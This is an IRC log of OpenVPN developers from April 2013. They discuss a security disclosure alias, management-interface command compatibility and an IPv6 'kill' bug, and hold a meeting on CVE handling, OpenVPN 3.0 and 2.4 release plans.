<@dazo> jjo-ipv6-support.patch 03:43 <@dazo> route_default_nil.patch 03:43 <@dazo> ipv6-payload.patch 03:43 <@dazo> kfreebsd_support.patch 03:43 <@dazo> accommodate_typo.patch 03:44 <@dazo> manpage_fixes.patch 03:44 <@dazo> use-dpkg-buildflags.patch 03:44 <@cron2> the client_hang* patch is NO SOUP FOR YOU, I remember that :-) 03:44 <@plaisthos> yes ... 03:46 <@dazo> this looks like patches to openvpn 2.1 .... 03:47 <@cron2> it's a wild mixture of old and new stuff 03:50 <@mattock> security list now mentioned here: http://openvpn.net/index.php/contact-us.html 03:50 <@vpnHelper> Title: Contact Us (at openvpn.net) 03:50 <@mattock> hmm, now that I think of it... I wonder how I can make it accept incoming mails from unknown addresses... 03:51 <@plaisthos> cron2: yeah... 04:02 <@mattock> hmm, I wonder if we need to setup GNU Mailman after all... Rackspace "Group lists" don't seem to allow moderating emails 04:02 <@mattock> the alternative would be to select somebody _on_ the list as a proxy... 04:03 <@mattock> james is probably a tad slow, so it'd have to one of us :) 04:03 <@mattock> any ideas? 04:03 <@ecrist> setup mailman on the ldap server? 04:03 <@plaisthos> mattock: what about a simple email alias to all people? 04:03 <@dazo> +1 04:04 <@plaisthos> instead of overenigering? 04:04 <@ecrist> that's not a bad idea 04:04 <@mattock> well, that'd work if spam is blocked properly 04:04 <@plaisthos> I mean it is less than 10 people that should be managable by CC 04:04 <@mattock> yep, probably 04:05 <@mattock> we can try an alias and see what the noise-signal ratio is 04:05 <@dazo> the noise will only happen if the mail address is leaked to the internet somehow ... I doubt any bots will "guess" that mail address ... 04:07 <@plaisthos> and for distro people. I guess would be too many people. 04:07 <@dazo> plaisthos: not if you just count important distros :-P 04:07 <@mattock> interesting limitatation: "Add members outside this [openvpn.net] domain (4 max):" 04:08 <@plaisthos> dazo: :D 04:08 <@mattock> ok, security alias now in place 04:08 <@ecrist> s/important/the important/ s/distros/distro/ 04:08 <@ecrist> :) 04:08 <@mattock> I'll test it after lunch 04:08 <@ecrist> aka freebsd 04:08 <@dazo> mattock: If that limitation is too strict ... I can setup a proxy address (which will go through spam filtering as well) 04:08 <@plaisthos> dazo: yeah I bet there distros with less users than my client but consider them *really* important 04:09 <@mattock> dazo: we can also just create more openvpn.net mailboxes 04:09 <@mattock> ecrist has one, for example 04:09 <@dazo> true :) 04:10 * plaisthos wonders how clever the frontend is 04:11 <@plaisthos> alias to alias pointing to external people 04:11 <@mattock> has d12fk still alive? 04:11 <@mattock> _is_ 04:12 <@d12fk> a little indeed 04:33 <@mattock> still clinging on? 04:33 <@mattock> good 04:34 <@mattock> :) 04:34 <@mattock> -> lunch 04:55 <@ecrist> NAS restored. /me goes back to bed 05:22 <@vpnHelper> RSS Update - tickets: #279: tun-ipv6 warning found when connecting to a v2.2 server from a v2.3 client <https://community.openvpn.net/openvpn/ticket/279> 05:23 <@dazo> cron2: I filed a bug for that tun.-ipv6 issue in our own tracker, and closed the Fedora ticket 05:23 <@dazo> that's what #279 is all about :) 05:35 <@plaisthos> I have added my patches to the wiki since we are now in 2.4-master and no longer in 2.3-master :) 05:38 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 05:41 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn-devel 05:42 -!- mode/#openvpn-devel [+v janjust] by ChanServ 05:43 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit] 05:45 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:45 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:51 <@mattock> sent test mail to the security@openvpn.net alias 06:21 <@cron2> dazo: is there anything we can *do* about #279, unless "just not report tun-ipv6 warnings at all"? 06:22 <@cron2> d12fk: if you're alive... could you say a few words which bits of the management interface you are using? 06:23 <@dazo> cron2: I only think we can drop this warning 06:23 <@cron2> well, it make sense in real peer-to-peer setups... 06:23 <@d12fk> cron2: in the GUI 06:24 <@cron2> d12fk: yes, but there's so many different management commands, and a few seem to only make sense on the server side... 06:24 <@dazo> cron2: true ... I haven't had time to dig into those code paths to see how we can detect that properly .... that --client == p2p mode makes it a bit confusing to start with 06:25 <@cron2> well, actually it's working nicely now, unless talking to a bastard server that is neither "clean 2.2" or "clean 2.3" but something in between 06:25 <@d12fk> cron2: state, log, hold, auth-retry, username, password, signal 06:26 <@d12fk> that's the current standing 06:26 <@d12fk> from UTM we use kill and status iirc 06:26 <@cron2> d12fk: thanks. Thought so, as "status" doesn't seem to be useful for the client side 06:26 <@cron2> ah, which kill? "kill dn" or "kill ip:port", or "client-kill id"? 06:27 <@d12fk> it might, if you want to find out the address of the server and do not want to parse the config 06:27 <@cron2> and which status, status 0/1 or statis 2/3? 06:27 <@cron2> status 2/3 06:27 <@d12fk> we kill username 06:27 * cron2 and plaisthos added some columns to status 2/3, so that might bring surprises, depending on how your parser works 06:28 <@d12fk> and about status i'm not sure 06:28 <@cron2> (the parser in AS exploded nicely, but James said that's OK :-) ) 06:28 <@d12fk> i'd say so too, if you upgrade and it breaks you fix it 06:28 <@cron2> kill username is fine. kill ip:port doesn't work for clients on IPv6, so that needs fixing if anyone is actually using it (nobody raised their hand yet) 06:29 <@cron2> d12fk: consider yourself warned, then ;-) 06:29 <@d12fk> is the 2.3x material 06:29 <@d12fk> that 06:29 <@cron2> so far only in master 06:29 <@d12fk> ah i dont care then =) 06:29 <@cron2> nobody asked for inclusion in 2.3.x yet 06:30 <@d12fk> but then there could be new status 4 e.g. for that without breakage 06:30 <@d12fk> why dont you do it this way? 06:31 <@d12fk> if s.o. wants v6 infos she can use that 06:31 <@cron2> nah. the columns are all tagged, so proper parsers will know which columns is what 06:31 <@cron2> and the code is ugly enough 06:31 <@cron2> "and James said I should do it that way" :-) 06:32 <@d12fk> but no one writes a parser that way for such a simple task 06:32 <@d12fk> what we do: ignore the first line and count commas 06:33 <@cron2> I would never write a parser for foreign data without safety measures, as in "verify that the headers match for those columns that I want to use" 06:33 <@cron2> dazo suggested XML output... 06:33 <@dazo> don't forget JSON! 06:33 <@cron2> but if you do comma-counting, you'll notice 06:34 <@d12fk> do you append the extra stuff or inject it somewhere in the middle 06:34 <@cron2> bit of both 06:34 <@cron2> one column in the middle, one column at the end 06:34 <@d12fk> apending it would brobaly only break 20% 06:35 <@d12fk> brobaly, lol 06:35 * plaisthos ' usage of management is similar to d12fk on the client 06:35 <@plaisthos> But also external key stuff 06:35 <@cron2> so far there only seem to be two users of this anyway, UTM and AS... 06:35 <@d12fk> pkcs11 is coming too 06:35 * cron2 asked on the list and got only "client side stuff" back 06:36 <@plaisthos> I did a openvpn for a commercial products 3-4 year back ... :) 06:36 <@d12fk> what the questionair about? are you planning on removing features or is it just about status? 06:37 <@cron2> querying about users, with the declared intention of changing "status 2/3" format 06:38 <@d12fk> then do it, and let the ones complaining face their miserable parser implementation =) 06:38 <@cron2> hehe :-) 06:38 <@d12fk> but be aware that you're killing trees by requiring sophisticated parsers 06:39 <@d12fk> just like them java folks )= 06:39 <@d12fk> that shoud have read: =) 06:39 <@dazo> java people live on the death star 06:39 <@cron2> there's only palm trees involved in Java 06:39 <@d12fk> the death star just killed aldebaraan, we're talking earth here =) 06:40 <@plaisthos> working in the cantine ... 06:40 <@plaisthos> .. http://www.youtube.com/watch?v=Sv5iEK-IEzw 06:40 <@vpnHelper> Title: Eddie Izzard- Death Star Canteen - YouTube (at www.youtube.com) 06:43 * plaisthos just a had an evil thought again 06:43 <@dazo> hehehe 06:43 <@plaisthos> with only utun in os x and not utap a tap emulation could be useful 06:44 * cron2 is not listening 06:44 <@cron2> NOT 06:44 <@cron2> VERY MUCH NOT 06:44 <@cron2> .oO(shouldn't be that hard). But I'm DEFINITELY and VERY MUCH not listening. 06:46 <@dazo> d12fk: told you .... those java people ..... 06:47 <@vpnHelper> RSS Update - tickets: #280: Management command "kill IP:port" will fail for IPv6 addresses <https://community.openvpn.net/openvpn/ticket/280> 06:48 <@d12fk> why will it fail anyway? 06:48 <@mattock> James' patches seem to have left us bleeding from quite a few papercuts 06:48 <@mattock> due to the "management interface only" approach 06:49 <@mattock> I'll resume reviewing the (long) list of bug reports in Trac... 06:49 <@cron2> mattock: #280 is not particularily *James'* fault. That's more jjo's omission 06:50 <@cron2> d12fk: the parser on the openvpn side has no idea what an IPv6 address is - it seems to actually stuff this into getaddrinfo(), but then put the result into 32 bit comparison or such... (and of course the port bit needs to be specified differently for IPv6) 06:50 <@cron2> just tacking :1194 to the end of an IPv6 address is not... good style. Even if it could be made to work for this case (strrchr(), always, then parse address) 06:52 <@dazo> okay .. JJO patch got fully available in openvpn 2.3 ... which has been "out" just some months .... so if the management syntax for IPv6 addresses changes to [<ipv6>]:port ... which is the standardised way (unless I've misunderstood something) ... nothing should actually break 06:52 <@d12fk> i'd recommend the [address]:port notation for ipv6 06:52 <@d12fk> just like in the browsers 06:53 <@cron2> d12fk: ack, that's "pretty much the standard way". 06:53 <@cron2> dazo: as this particular management command has not been touched at all yet, we won't break established use by making it IPv6 capable 06:53 <@cron2> OTOH, nobody seems to be using it anyway... 06:53 <@cron2> AS uses "client-kill <cid>", UTM uses "kill <dn>"... 06:54 <@dazo> I'm sure some of these projects uses some of these obscure features .... https://community.openvpn.net/openvpn/wiki/RelatedProjects#ClientGUI 06:54 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net) 06:55 <@cron2> not "kill" or "status 2", those are really server side things 06:55 <@dazo> see the section below .... "Management GUI" 06:55 <@plaisthos> with the cid in the status output you can just get the IP and CID from there and just say kill cid 06:56 <@cron2> yeah, those might be affected 06:56 <@cron2> plaisthos: yep 06:56 <@plaisthos> but that is *client* UI 06:56 <@cron2> there's "management GUI" further down on the page 06:56 <@plaisthos> ah 06:56 <@plaisthos> still 06:57 <@cron2> mattock: I think that page needs some love, like mentioning in the "patchsets" section that both IPv6 patches are now integrated in 2.3 06:57 <@dazo> however, some of these clients may start a server config ... but it most likely won't manage connected clients 06:57 <@plaisthos> only one of these is closed source 06:57 <@plaisthos> we can check the others 06:57 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:57 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:03 <@dazo> Openvpnwebguiplus uses openvpn_manager_sendcommand("kill $ip"); 07:04 <@dazo> (not that I think that one is widely used .... last update 3 years ago) 07:04 <@cron2> "kill $ip" won't work anyway 07:05 <@dazo> even better :) 07:05 <@dazo> "we didn't break anything" 07:06 <@dazo> pfSense, ClearOS and IPCop are probably those really worth checking out though 07:07 <@cron2> ack 07:07 <@cron2> I *thought* the pfsense author would be on the openvpn-devel list... 07:11 <@plaisthos> If pfsense even uses the management interface 07:16 <@dazo> "OpenVPN Admin" is screwed anyhow ... 07:16 <@dazo> if ($row eq "Common Name,Real Address,Bytes Received,Bytes Sent,Connected Since") { 07:18 <@dazo> purplenet seems to only have implemented certificate management 07:18 <@dazo> Bytemine manager is java ... and I have no wish to get lost among a billion folders and files 07:19 <@cron2> dazo: I think that is actually "status 0" format 07:19 <@dazo> Zentyal don't have source code easily available .... so I ignore them 07:20 <@dazo> From "OpenVPN Admin" ... 07:20 <@dazo> &open_socket($management_url, $management_port, MAIL, \$error); 07:20 <@dazo> if ($error) { return({},$error); } 07:20 <@dazo> print MAIL "status\r\n"; 07:21 <@dazo> so if that's equivalent with 'status 0' ... then it should work 07:21 <@dazo> and the disconnect code is safe: print MAIL "kill ".$$info{'CLIENT_NAME'}."\r\n"; 07:22 * dazo wonder where the guy got the idea that MAIL is a clever variable name in this context .... 07:23 <@d12fk> MAIL is a file handle here 07:24 <@d12fk> but yeah calling it MAIL rather than MGMT is interesting 07:26 <@plaisthos> dazo: at least they check :) 07:26 <@d12fk> MAnagement Interface L??? 07:26 <@cron2> LINK 07:26 <@cron2> Link 07:26 <@plaisthos> LOCAL 07:26 <@d12fk> there you go! =) 07:27 <@d12fk> were just too stupid to understand the average perl genius =) 07:29 <@dazo> hehehe 07:46 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving] 07:48 <@mattock> I've heard meditation changes one's brain permanently 07:48 <@mattock> I wonder what writing Perl does? 07:48 <@cron2> frees your mind from the limits of string handling in C 07:59 * plaisthos wonders which programming does not do that 08:01 <@cron2> python will bring in new limits "do whitespace my way!" 08:20 <@plaisthos> >>> from __future__ import braces File "<stdin>", line 1 08:20 <@plaisthos> SyntaxError: not a chance 08:21 <@dazo> hahaha 08:34 <@ecrist> cron2: generally I talk to the pfsense author (Scott) directly 08:34 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 08:35 <@ecrist> hehe, last year, he and I nearly threw punches at a bar because 1) I was drunk and 2) he's a pompous ass 08:38 <@d12fk> was he picking on your bsd? =) 08:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 08:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 08:39 <@plaisthos> ecrist: that sound like should we simply do what we and not care about pfsense :P 08:39 <@ecrist> d12fk: pfsense is on BSD 08:40 <@d12fk> yeah, but it's harder than yours =P 08:40 <@plaisthos> d12fk: FreeBSD is bad, Pfsense based on FreeBSD is cool! 08:40 <@ecrist> he and I were arguing about their insanely stupid config editor, and how they hide the logs and actual config from users 08:41 <@ecrist> d12fk: pfsense is based on freebsd - the only real difference is they pull all the system sources, build tools, and slap on a gui 08:41 <@ecrist> FreeBSD is bad, plaisthos? 08:41 * ecrist is confused 08:41 <@plaisthos> ecrist: and having a different kind of community 08:41 <@plaisthos> ecrist: was just picking on the FreeBSD vs pfsense ;) 08:42 <@plaisthos> ecrist: basically a scarcastic version of 15:39:50 <@ecrist> d12fk: pfsense is on BSD 08:42 <@ecrist> pfsense is pretty neat, but I don't think we should give any care about them, wrt to code changes we want to make 08:42 <@ecrist> plaisthos: gotcha 08:42 <@cron2> ecrist "the pfsense author" is a team, btw :-) 08:42 <@ecrist> cron2: I'm aware 08:42 <@ecrist> Scott is the evil head, though 08:43 <@ecrist> and he's the founder 08:43 * cron2 talks to Seth about the openvpn stuff 08:43 <@cron2> (and he's on the openvpn-devel list) 08:43 <@ecrist> I don't know a Seth 08:44 <@ecrist> I only know a Chris and a Scott 08:44 <@cron2> Seth Mos 08:45 * ecrist shrug 08:46 <@plaisthos> I tried to find the guy responsible for OpenVPN in pfsense but got confused by their homepage and gave up 08:48 <@plaisthos> is the m0n0wall statement also true for pfsense? 08:49 <@plaisthos> "m0n0wall is probably the first UNIX system that has its boot-time configuration done with PHP, rather than the usual shell scripts, and that has the entire system configuration stored in XML format." 08:49 <@ecrist> sounds like it 08:50 -!- NielsKram [~NielsKram@ip4da385d0.direct-adsl.nl] has joined #openvpn-devel 08:50 <@d12fk> PHPinit o_O 08:51 <@plaisthos> that makes systemd and upstart sound really good solutions by comparision 08:54 <@dazo> eeek 09:03 <@cron2> nah, this systemd is all written in C, that's so last century. PHP init, that's the future! 09:05 <@d12fk> autoconf should be rewritten in PHP as well 09:06 <@cron2> can't get any worse, yes 09:07 <@d12fk> and wouldnt an openvpn in php be awesome? it could totally secure the web... 09:07 * d12fk in visionary position atm 09:09 * cron2 wonders what d12fk did the past few weeks... nobody saw him, now he's back and all stoned... 09:10 <@plaisthos> we need a html5 openvpn client! 09:11 * d12fk needs to get off the painkillers quick =) 09:15 * dazo gets concerned and steps aside for a little while .... 09:16 <+pekster> dazo: I've seen use-cases (or, setups at least, I'm not sure if it was impossible for the user to change it easily) where p2p was used with TLS for --pull support. Maybe not common, but there are folks doing it 09:18 <@dazo> pekster: hmmm .... iirc, p2p + TLS (--ca/--key/--cert) isn't possible .... p2p is --secret only ... unless i confuse things (that's happens quite often) 09:19 <+pekster> Nope, `mode p2p` is fine with TLS (yea, I was a little surprised too when someone showed up in #openvpn doing it) and it is valid 09:19 <+pekster> Weird perhaps, but valid 09:22 <+pekster> Makes a little sense if you "just" want a PtP network config with the benefit of a TLS layer on top for better security 09:25 <@dazo> hmm 09:28 <+pekster> The vpnHelper bot is a little tempremental when searching. The privmsg `factoids search #openvpn --values hooks` returns (with no results found) yet the msg `factoids search #openvpn --values scripts` just spits help syntax at me consistently. I've had it do this before for no apparent reason too 09:29 <+pekster> Hmm, but "script" returns with results; go figure 09:33 <@ecrist> !factoids 09:33 <@vpnHelper> "factoids" is A semi-regularly updated dump of factoids database is available at http://www.secure-computing.net/factoids.php 09:33 <@ecrist> pekster: see that 09:34 <@ecrist> Ctl-F when you get there. ;) 09:34 <+pekster> Yea, I suppose. It's usually fine, but I figured quering the bot was faster (if it worked properly ;) 10:03 <+krzee> [11:03] <krzee> factoids search #openvpn --values script 10:03 <+krzee> [11:03] <vpnHelper> 'iporder', 'mitm', 'crl', 'pushdns', 'winscript', 'ssl-admin', 'ldap_iptables', 'client-connect', 'nsupdate', 'psychic', 'winshortcut', and 'script' 10:03 <+krzee> he must like me more 10:04 <+krzee> whoa interesting, "script" works, "scripts" gives the error 10:04 <+pekster> That's what I said 10:05 <+krzee> o indeed you did 10:18 -!- raidz_away is now known as raidz 11:27 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has quit [Ping timeout: 256 seconds] 11:33 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 13:27 -!- dazo is now known as dazo_afk 16:20 -!- NielsKram [~NielsKram@ip4da385d0.direct-adsl.nl] has quit [] 18:18 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 18:31 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 20:56 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 21:10 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:00 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 246 seconds] 22:03 -!- ZombieDahmer [ZombieDahm@c-67-169-147-158.hsd1.ca.comcast.net] has quit [Read error: Connection reset by peer] 22:05 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has quit [Ping timeout: 240 seconds] 22:07 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel 22:14 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 22:26 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 22:33 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel --- Day changed Thu Apr 18 2013 02:03 -!- m-a [mandree@f049160135.adsl.alicedsl.de] has joined #openvpn-devel 02:06 -!- m-a [mandree@f049160135.adsl.alicedsl.de] has quit [Client Quit] 02:07 -!- m-a [mandree@f049160135.adsl.alicedsl.de] has joined #openvpn-devel 02:08 -!- m-a [mandree@f049160135.adsl.alicedsl.de] has quit [Client Quit] 02:09 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 02:28 < m-a> !meetings 02:28 <@vpnHelper> "meetings" is OpenVPN developers meetings are usually held on Thursdays @ 18:00 UTC. Ask mattock or dazo for latest info. Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 02:28 < m-a> !git 02:28 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git or (#5) If you have problems, relax: 02:29 <@vpnHelper> http://justinhileman.info/article/git-pretty/git-pretty.png 03:09 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has quit [Ping timeout: 245 seconds] 03:48 -!- dazo_afk is now known as dazo 08:36 <@cron2> bah, openwrt lost momentum somewhere on the way... they are still at 2.2.2, and I was sure they had 2.3.0 by now 08:40 <@cron2> some of both... their current *release* (12.09/AA) has 2.2.2 and openvpn-devel with some 2.3.0_alpha, and "trunk" has 2.3.0, hrm 11:37 -!- m-a [mandree@cl-2367.cgn-01.de.sixxs.net] has joined #openvpn-devel 12:20 -!- dazo is now known as dazo_afk 12:37 <@cron2> so, wife is out of da house, both children are sleeping, let's have a meeting \o& 12:53 <@mattock> \o/ 12:53 <@mattock> company meeting just finished, I'm ready 13:00 <@andj> evening 13:01 < syzzer> hi :) 13:02 <@andj> :) 13:03 < syzzer> busy cooking diner in the mean while, but that should work ;) 13:03 <@andj> right, who's leading the meeting? :) 13:04 <@cron2> mattock is da boss 13:04 <@andj> I thought as much 13:04 <@mattock> ha 13:04 <@cron2> where's dazo? 13:04 <@mattock> jamesyonan should get here, too 13:04 <@mattock> talked to him a few mins ago 13:05 <@mattock> meanwhile, here's the topic list: https://community.openvpn.net/openvpn/wiki/Topics-2013-04-18 13:05 <@vpnHelper> Title: Topics-2013-04-18 – OpenVPN Community (at community.openvpn.net) 13:08 <@andj> so, security first? 13:10 <@mattock> yes 13:10 <@mattock> ok, so a brief update first 13:10 <@mattock> we now have a security mailinglist... or rather, a mail alias (security@openvpn.net) which goes to several people 13:10 <@mattock> currently james, dazo, cron2 and I are on it 13:11 <@mattock> I heard Steffan should be added, too 13:11 <@andj> I wouldn't mind if you could add openvpn@fox-it.com, that just ends up at the contact people 13:11 < syzzer> I'd appreciate that, yes 13:11 <@mattock> also, we now advertise that address here: http://openvpn.net/index.php/contact-us.html 13:11 <@vpnHelper> Title: Contact Us (at openvpn.net) 13:12 <@mattock> andj, syzzer: I'll add both 13:12 <@mattock> or is openvpn@fox-it.com enough? 13:12 <@andj> thanks, openvpn@fox should reach syzzer 13:12 <@andj> :) 13:12 <@mattock> ok 13:12 <@mattock> the rackspace alias has a silly limitation, only 4 "external" email addresses allowed 13:12 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 13:12 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:12 <@andj> weird 13:12 <@mattock> hi jamesyonan! 13:13 <@andj> evening, james 13:13 <@jamesyonan> hi! 13:13 <@mattock> yes, it's weird 13:13 <@mattock> jamesyonan: https://community.openvpn.net/openvpn/wiki/Topics-2013-04-18 13:13 <@vpnHelper> Title: Topics-2013-04-18 – OpenVPN Community (at community.openvpn.net) 13:13 <@andj> or morning :) 13:13 <@mattock> almost lunch time I guess? 13:13 <@mattock> so we started discussing topic 1, handling security issues 13:14 <@mattock> I think we can agree on that we should do better next time 13:14 <@mattock> :P 13:14 < m-a> good evening 13:14 <@mattock> hi m-a 13:14 <@andj> I think the list of points on the wiki should cover the basics 13:14 < m-a> I contacted our FreeBSD guys about security-for-packages so as to have a definitive answer about the contacts 13:14 <@cron2> +1 13:14 <@mattock> there was some disagreement regarding CVEs, from dazo I think 13:15 <@mattock> whether one is always needed 13:15 <@mattock> andj, syzzer: do you have experience on creating CVEs? 13:15 <@mattock> I'm wondering if it's a heavy-weight process... 13:15 <@andj> Not much, but I think it's pretty open. Paul bakker has done it in the past 13:16 < m-a> basically you contact one of the numbering authorities to have the CVE assigned, then write a free-form document about the issue, and send it either to the CVE publishers and security contacts, or you just publish it in public. 13:16 <@mattock> ok, I'll have a look... if it's fairly easy, creating one might make sense 13:16 < m-a> I've done that several times for fetchmail; http://www.fetchmail.info/security.html 13:16 <@vpnHelper> Title: Fetchmail (at www.fetchmail.info) 13:16 <@mattock> m-a: ok, I'll do some research 13:16 <@mattock> ok, it can't be too painful, then 13:16 <@mattock> so many notices :D 13:17 < m-a> there is also a public list where the CVE gurus lurk, which is good for requesting CVE Ids. 13:17 <@andj> Most important thing is to do a good analysis, and determine the impact 13:17 <@mattock> ok, that'll be handled on the security@openvpn.net "list" then 13:17 <@mattock> anything else on this subject? 13:18 <@andj> how are we going to handle downstream communications? 13:18 < m-a> as to the FreeBSD contacts, that would be mandree at FreeBSD.org, ecrist at secure-computing.net as the maintainers of the stable and developmental packages, and security at FreeBSD.org (but those should only be contacted by persons - they should not be added to mailing lists) 13:19 < m-a> security at FreeBSD.org should be the last resort usually, meaning that neither I nor ecrist are responding. 13:19 <@mattock> I'll contact the maintainers of OpenVPN packages of various Linux/BSD distros and gather a list of email addresses 13:20 <@mattock> afaik the idea was to first discuss the issue on security@openvpn.net, the before releasing a fix and making the announcement give the distributors a head-up that "a security fix is coming" 13:20 <@mattock> so that they can prepare to make a new build 13:20 <@andj> sounds good 13:21 < m-a> sensible 13:21 <@mattock> ok, I think we're in agreement on this subject 13:21 <@mattock> next topic would be OpenVPN 3.0 13:22 <@mattock> jamesyonan: is the page you linked to in FOSDEM still available? 13:22 <@jamesyonan> yes, should be 13:22 <@andj> I'd love a preview of the code 13:22 <@mattock> can you send us a link? 13:23 <@jamesyonan> sure, let me just update the site first with latest code base 13:23 <@mattock> ok, sounds good 13:23 <@mattock> regarding latest code base... I'm thinking we should put the latest code to Git (SF.net/GitHub) right away 13:24 <@andj> Question from my side: how are we going to transition? 13:24 <@cron2> "not any time soon" 13:25 <@mattock> yes, my words exactly 13:25 <@mattock> there are a few issues with 3.0... first, it's an entirely new codebase... second, due to iOS store policies it requires some form of contributor agreement from committers 13:26 <@mattock> also, it's missing server-side functionality... so making 3.0 completely replace 2.x will be challenging 13:26 <@mattock> and will take time, obviously 13:26 <@andj> True, but to prevent a Python 3/Samba 4-esque situation, a planned migration isn't a bad plan 13:26 <@mattock> yes, agreed 13:27 <@mattock> however, I would first like to see the beginning of a migration before thinking about that too much :P 13:27 <@mattock> getting the code to GitHub/SF.net repos would help gauge interest in 3.0 13:28 < jamxNL> if the code is on github, we can make create a roadmap 13:28 <@mattock> jamxNL: what do you mean exactly? 13:28 <@andj> ok, so mostly: we want a look at the code, for now it's 2.4 business as usual 13:29 <@mattock> yep, let's get the code (and James :P) to Git first 13:29 * cron2 just found a bug in the 3.0 code :) 13:29 <@ecrist> heh 13:29 < jamxNL> see what is missing and set priorities 13:30 <@mattock> jamesyonan: is 3.0 code on the web-page updated? 13:30 <@jamesyonan> yes, I just updated http://staging.openvpn.net/openvpn3/ 13:30 <@vpnHelper> Title: OpenVPN 3 (at staging.openvpn.net) 13:31 <@mattock> added the link to the agenda page for the posterity 13:31 <@mattock> jamesyonan: do you mind if we push this codebase to GitHub? 13:31 <@jamesyonan> no prob 13:31 <@mattock> or rather, if it's just a tarball, we might want to preserve history from SVN 13:32 <@mattock> dazo probably knows the magic to convert an SVN repo into a Git repo 13:32 < syzzer> https://community.openvpn.net/openvpn/wiki/Topics-2013-04-18 13:32 <@vpnHelper> Title: Topics-2013-04-18 – OpenVPN Community (at community.openvpn.net) 13:32 <@mattock> jamesyonan: is there anything in 3.0 SVN history you'd like to get rid of? 13:33 <@mattock> or could we "export" the SVN repo with full history to Git? 13:33 <@jamesyonan> I'd rather not include svn history for now, because its wrapped up in a lot of other stuff that I'd have to go through and edit 13:33 <@mattock> ok, so we'd start from the tarball 13:34 <@jamesyonan> yes 13:34 <@mattock> I think that's ok 13:34 <@mattock> regarding the API documentation... should we find a better place for it? 13:34 <@mattock> ah, it's in the tarball 13:35 <@mattock> disregard my comment 13:35 <@mattock> anything else on OpenVPN 3.0? 13:35 <@andj> not from my side 13:36 <@mattock> next topic would be OpenVPN 2.4... mostly "what do we want to include in it?" 13:36 <@ecrist> bug fixes 13:36 <@ecrist> fewer security vulnerabilities, mostly 13:36 <@ecrist> ;) 13:36 <@andj> And what do we want to postpone for 2.4 13:37 < syzzer> maybe update the options string? 13:37 <@mattock> andj: for 2.5 you mean? 13:37 <@andj> yeah, 2.5 13:38 <@andj> options string fixes are a good idea, management API comes to mind as well 13:38 <@mattock> there are some patchsets listed on the agenda page... is it missing something else? 13:38 <@mattock> there are some "papercuts" that were found when SVN patches were forward-ported to master 13:38 <@cron2> I have a bunch of IPv6 enhancements I want to see in 2.4 (mostly related to "redirect-gateway ipv6") 13:39 <@cron2> mattock: USE_SSL already got fixed :) 13:39 <@mattock> papercuts = partially implemented functionality 13:39 <@mattock> cron2: yes, that was fairly minor 13:39 <@andj> whitespace and code formatting fixes 13:40 <@cron2> andj: we could do that "just before releasing 2.4", because any sort of patch merging / cherrypicking is huge pains when the code *looks* all different 13:40 <@cron2> merging 2.1 changes to lzo.h into 2.3 with all your documentation changes to that header was... not-automatic 13:40 <@andj> true, but we forgot just before 2.3 :) 13:40 <@cron2> andj: true 13:40 <@mattock> oh, one more topic after this one... 2.3.2 13:41 <@cron2> (and I'm happy about that, because otherwise those remaining svn changes would have been a nightmare). 13:41 <@mattock> but let's not deviate quite yet 13:41 <@cron2> andj: but otherwise I agree, someone should watch out that we do not forget before 2.4 13:41 <@mattock> formatting and white-space fixes? 13:41 <@cron2> yep 13:42 <@mattock> I can file a ticket to Trac... we all know how actively we check those, so that's fairly foolproof way to ensure we don't forget :P 13:43 <@cron2> totally 13:43 <@mattock> added note to the topic page 13:44 <@mattock> when is 2.4 due? 13:44 <@mattock> do we have enough stuff for a new major release? 13:44 <@andj> depends on what needs to go into it 13:44 <@mattock> I would personally aim at fairly small, incremental releases 13:44 <@mattock> release soon, release often 13:44 <@mattock> as long as there's some motive for people to upgrade 13:45 <@mattock> thoughts? 13:45 <@cron2> if plaisthos' socket refactoring goes in, 2.4 will be fairly big 13:45 <@cron2> but in general I'm all for having frequent releases :) 13:45 <@mattock> plaisthos here atm? 13:45 <@cron2> no, he said he couldn't make it today at this time 13:45 <@mattock> ah 13:46 <@mattock> I've heard tales of socket.c... that's probably enough to warrant a new major release then 13:46 <@mattock> anything else on 2.4? 13:47 <@mattock> if not, we have 2.3.2 which is not on topic list 13:47 <@cron2> not specific... I think we have quite a bit of work to do for 2.4, mostly in the "networking" 